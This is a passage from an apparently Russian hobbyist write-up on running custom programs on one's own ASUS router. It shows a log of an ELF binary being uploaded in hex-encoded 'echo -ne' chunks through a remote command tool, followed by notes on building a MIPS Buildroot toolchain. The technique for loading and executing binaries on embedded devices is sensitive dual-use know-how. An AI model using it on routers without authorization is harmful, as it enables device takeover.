cmd: 235 ch) שש192.168.1.1: OK81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OKMerging to /var/ldd parts 101…116 (16 pcs; cmd: 229 ch)… OK (5586 B)Merging to /var/ldd parts 117…132 (16 pcs; cmd: 238 ch)… OK (6354 B)Merging to /var/ldd parts 133…148 (16 pcs; cmd: 238 ch)… OK (7122 B)Merging to /var/ldd parts 149…164 (16 pcs; cmd: 238 ch)… OK (7890 B)Merging to /var/ldd parts 165…180 (16 pcs; cmd: 238 ch)… OK (8658 B)Merging to /var/ldd parts 181…196 (16 pcs; cmd: 238 ch)… OK (9426 B)Merging to /var/ldd parts 197…200 (4 pcs; cmd: 71 ch)… OK (9618 B)Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)
95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OKMerging to /var/ldd parts 201…210 (10 pcs; cmd: 145 ch)… OK (10084 B)Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)
Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)
Примечание к следующему спойлеруНа месте ///*** таких моих комментариев ***/// удалены строки, чтобы не перегружать текст. А на месте ///--- таких ---/// ничего не удалено. Это просто объяснения. /dev/console (/dev/ttyS0) — обратите внимание на имя файла, в который перенаправляется вывод на разных этапах system cmd: 237 echo -ne »\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00»>/var/ldd_0–1; cat /var/ldd_0–1rund: echo -ne »\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00»>/var/ldd_0–1; cat /var/ldd_0–1 > /tmp/syscmd.out49 ELFsystem cmd: 237 echo -ne »\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40»>/var/ldd_0–2; cat /var/ldd_0–2rund: echo -ne »\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40»>/var/ldd_0–2; cat /var/ldd_0–2 > /tmp/syscmd.out49///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///
system cmd: 237 echo -ne »\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00»>/var/ldd_0–100; cat /var/ldd_0–100rund: echo -ne »\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00»>/var/ldd_0–100; cat /var/ldd_0–100 > /tmp/syscmd.out48///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///system cmd: 35 echo -n »>>/var/ldd; wc -c>/var/ldd; wc -c /tmp/syscmd.out2 0
///--- Объединение загруженных частей ---///system cmd: 228 cat /var/ldd_0–1 /var/ldd_0–2 /var/ldd_0–3 /var/ldd_0–4 /var/ldd_0–5 /var/ldd_0–6 /var/ldd_0–7 /var/ldd_0–8 /var/ldd_0–9 /var/ldd_0–10 /var/ldd_0–11 /var/ldd_0–12 /var/ldd_0–13 /var/ldd_0–14 /var/ldd_0–15 /var/ldd_0–16>/var/ldd; rund: cat /var/ldd_0–1 /var/ldd_0–2 /var/ldd_0–3 /var/ldd_0–4 /var/ldd_0–5 /var/ldd_0–6 /var/ldd_0–7 /var/ldd_0–8 /var/ldd_0–9 /var/ldd_0–10 /var/ldd_0–11 /var/ldd_0–12 /var/ldd_0–13 /var/ldd_0–14 /var/ldd_0–15 /var/ldd_0–16>/var/ldd; > /tmp/syscmd.out0 0
///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///system cmd: 14 wc -c /tmp/syscmd.out4 777ш $Dsystem cmd: 238 cat /var/ldd_0–17 /var/ldd_0–18 /var/ldd_0–19 /var/ldd_0–20 /var/ldd_0–21 /var/ldd_0–22 /var/ldd_0–23 /var/ldd_0–24 /var/ldd_0–25 /var/ldd_0–26 /var/ldd_0–27 /var/ldd_0–28 /var/ldd_0–29 /var/ldd_0–30 /var/ldd_0–31 /var/ldd_0–32>>/var/ldd; rund: cat /var/ldd_0–17 /var/ldd_0–18 /var/ldd_0–19 /var/ldd_0–20 /var/ldd_0–21 /var/ldd_0–22 /var/ldd_0–23 /var/ldd_0–24 /var/ldd_0–25 /var/ldd_0–26 /var/ldd_0–27 /var/ldd_0–28 /var/ldd_0–29 /var/ldd_0–30 /var/ldd_0–31 /var/ldd_0–32>>/var/ldd; > /tmp/syscmd.out0 777ш $Dsystem cmd: 14 wc -c /tmp/syscmd.out5 1545ш $D
///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///
system cmd: 71 cat /var/ldd_0–97 /var/ldd_0–98 /var/ldd_0–99 /var/ldd_0–100>>/var/ldd; rund: cat /var/ldd_0–97 /var/ldd_0–98 /var/ldd_0–99 /var/ldd_0–100>>/var/ldd; > /tmp/syscmd.out0 4617ш $Dsystem cmd: 14 wc -c /tmp/syscmd.out5 4809ш $Dsystem cmd: 14 wc -c /tmp/syscmd.out5 4809ш $D
///--- следующая команда удаляет уже объединённые части ---///system cmd: 37 rm /var/ldd_0-*; ls /var/ldd_0-*|wc -lls: /var/ldd_0-*: No such file or directoryrund: rm /var/ldd_0-*; ls /var/ldd_0-*|wc -l > /tmp/syscmd.out2 009ш $D
///--- далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла ---///
system cmd: 237 echo -ne »\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4»>/var/ldd_1–1; cat /var/ldd_1–1rund: echo -ne »\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4»>/var/ldd_1–1; cat /var/ldd_1–1 > /tmp/syscmd.out49system cmd: 237 echo -ne »\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01»>/var/ldd_1–2; cat /var/ldd_1–2rund: echo -ne »\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01»>/var/ldd_1–2; cat /var/ldd_1–2 > /tmp/syscmd.out49 X
///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///
system cmd: 237 echo -ne »\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00»>/var/ldd_2–9; cat /var/ldd_2–9rund: echo -ne »\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00»>/var/ldd_2–9; cat /var/ldd_2–9 > /tmp/syscmd.out49system cmd: 143 echo -ne »\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00»>/var/ldd_2–10; cat /var/ldd_2–10rund: echo -ne »\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00»>/var/ldd_2–10; cat /var/ldd_2–10 > /tmp/syscmd.out25system cmd: 35 echo -n »>>/var/ldd; wc -c>/var/ldd; wc -c /tmp/syscmd.out5 9618
system cmd: 145 cat /var/ldd_2–1 /var/ldd_2–2 /var/ldd_2–3 /var/ldd_2–4 /var/ldd_2–5 /var/ldd_2–6 /var/ldd_2–7 /var/ldd_2–8 /var/ldd_2–9 /var/ldd_2–10>>/var/ldd; rund: cat /var/ldd_2–1 /var/ldd_2–2 /var/ldd_2–3 /var/ldd_2–4 /var/ldd_2–5 /var/ldd_2–6 /var/ldd_2–7 /var/ldd_2–8 /var/ldd_2–9 /var/ldd_2–10>>/var/ldd; > /tmp/syscmd.out0 9618
system cmd: 14 wc -c /tmp/syscmd.out6 10084
system cmd: 37 rm /var/ldd_2-*; ls /var/ldd_2-*|wc -lls: /var/ldd_2-*: No such file or directoryrund: rm /var/ldd_2-*; ls /var/ldd_2-*|wc -l > /tmp/syscmd.out2 0084
system cmd: 35 echo -n »>>/var/ldd; wc -c>/var/ldd; wc -c /tmp/syscmd.out6 10084
Ну и что дальше? Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:
Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?
Как получить исполняемые файлы для своего роутера Прежде всего нужно узнать архитектуру CPU вашего роутера. Лёгкий путь не даёт всей необходимой информации: # cat /proc/cpuinfosystem type: RTL8196Cprocessor: 0cpu model: 52481BogoMIPS: 389.12tlb_entries: 32mips16 implemented: yes#
Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.Придётся как-то достать исполняемый файл с роутера, чтобы проанализировать его с помощью команд file и readelf -h.
Я это сделал так:
запустил telnetd и подключил к нему TeraTerm настроил TeraTerm на лог в файл с опцией «бинарный» TeraTerm больше не трогаю (чтобы в начало лога ничего лишнего не попало) выполнил AsusCmd.exe «cat /bin/infosvr > /dev/ttyp0;» остановил лог в файл Получившийся файл вышел немного больше того, что лежит на роутере (какой-то мусор подмешался). Но ничего: нас интересует только начало файла — ELF Header.Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:
Теперь всё ясно: MIPS-1, Big endian.
Собираем тулчейн для нашего роутера Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу): #!/bin/sh wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz tar zxf buildroot-2014.11.tar.gz cd buildroot-2014.11
sudo apt-get -y install g++
# curses-based configurators sudo apt-get -y install libncurses5-dev make menuconfig # original curses-based configurator #make nconfig # new curses-based configurator
# Qt-based configurator #sudo apt-get -y install libqt4-dev #make xconfig # Qt-based configurator
# GTK-based configurator #sudo apt-get -y install libgtk2.0-dev libglade2-dev #make gconfig # GTK-based configurator
make На шаге make *config настраиваем тулчейн.По крайней мере, надо настроить целевую архитектуру. Target options ---> Target Architecture и Target Architecture Variant. Тут есть небольшой подвох: вот так сразу в Target Architecture Variant Mips I вы не найдёте. Чтобы он там появился нужно включить опцию Build options ---> Show options and packages that are deprecated or obsolete.
Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.
После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так: ttt=`date`; make; echo $ttt; date). Можно параллельно собирать, но не с помощью -jN. Руководство гласит:
You should never use make -jN with Buildroot: top-level parallel make is currently not supported. Instead, use the BR2_JLEVEL option to tell Buildroot to run the compilation of each individual package with make -jN.
Т.е. нужно настраивать параметр Build options ---> Number of jobs to run simultaneously.Toolchain готов Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc).Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:
Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.
Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).
Рабочими оказались не все. После загрузки на роутер м